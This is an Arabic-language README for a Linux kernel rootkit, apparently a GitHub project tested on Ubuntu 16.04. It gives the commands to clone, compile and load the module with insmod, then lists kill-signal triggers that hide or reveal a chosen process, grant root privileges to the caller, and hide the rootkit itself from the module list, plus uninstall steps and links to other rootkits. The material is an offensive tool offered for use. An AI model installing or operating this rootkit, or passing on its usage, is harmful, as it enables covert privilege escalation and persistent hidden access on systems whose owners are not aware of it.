RootKit

هذه أداة روتكيت تم اختبارها على ubuntu-16.04.6-desktop-amd64 (Linux 4.4)، ولكن يجب أن يكون من السهل نقلها إلى إصدارات نواة مختلفة.

رابط الفيديو --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing

التثبيت

استنساخ المستودع

git clone https://github.com/Asekon/RootKit

ادخل إلى المجلد

cd RootKit

قم بالتجميع

sudo make

أدخل الوحدة إلى النواة بصلاحية root

sudo insmod RootKit.ko

الاستخدام

(إظهار/إخفاء) عملية (مثال: PID 500)

kill -0 500

الحصول على صلاحية Root (يمكنك إدخال أي PID، لا يجب أن يكون 0)

kill -1 0

(إظهار/إخفاء) الروتكيت (يمكنك إدخال أي PID، لا يجب أن يكون 0)

kill -2 0

إلغاء التثبيت

أزل الوحدة من النواة بصلاحية root (تأكد أولاً من أنها ظاهرة في قائمة الوحدات)

sudo rmmod RootKit

المراجع

https://en.wikipedia.org/wiki/Rootkit

http://dandylife.net/blog/archives/304

https://github.com/nurupo/rootkit

https://github.com/f0rb1dd3n/Reptile

https://github.com/m0nad/Diamorphine

http://lwn.net/Kernel/LDD3/

http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/

http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html

https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/

https://www.howtogeek.com/107217/how-to-manage-processes-from-the-linux-terminal-10-commands-you-need-to-know/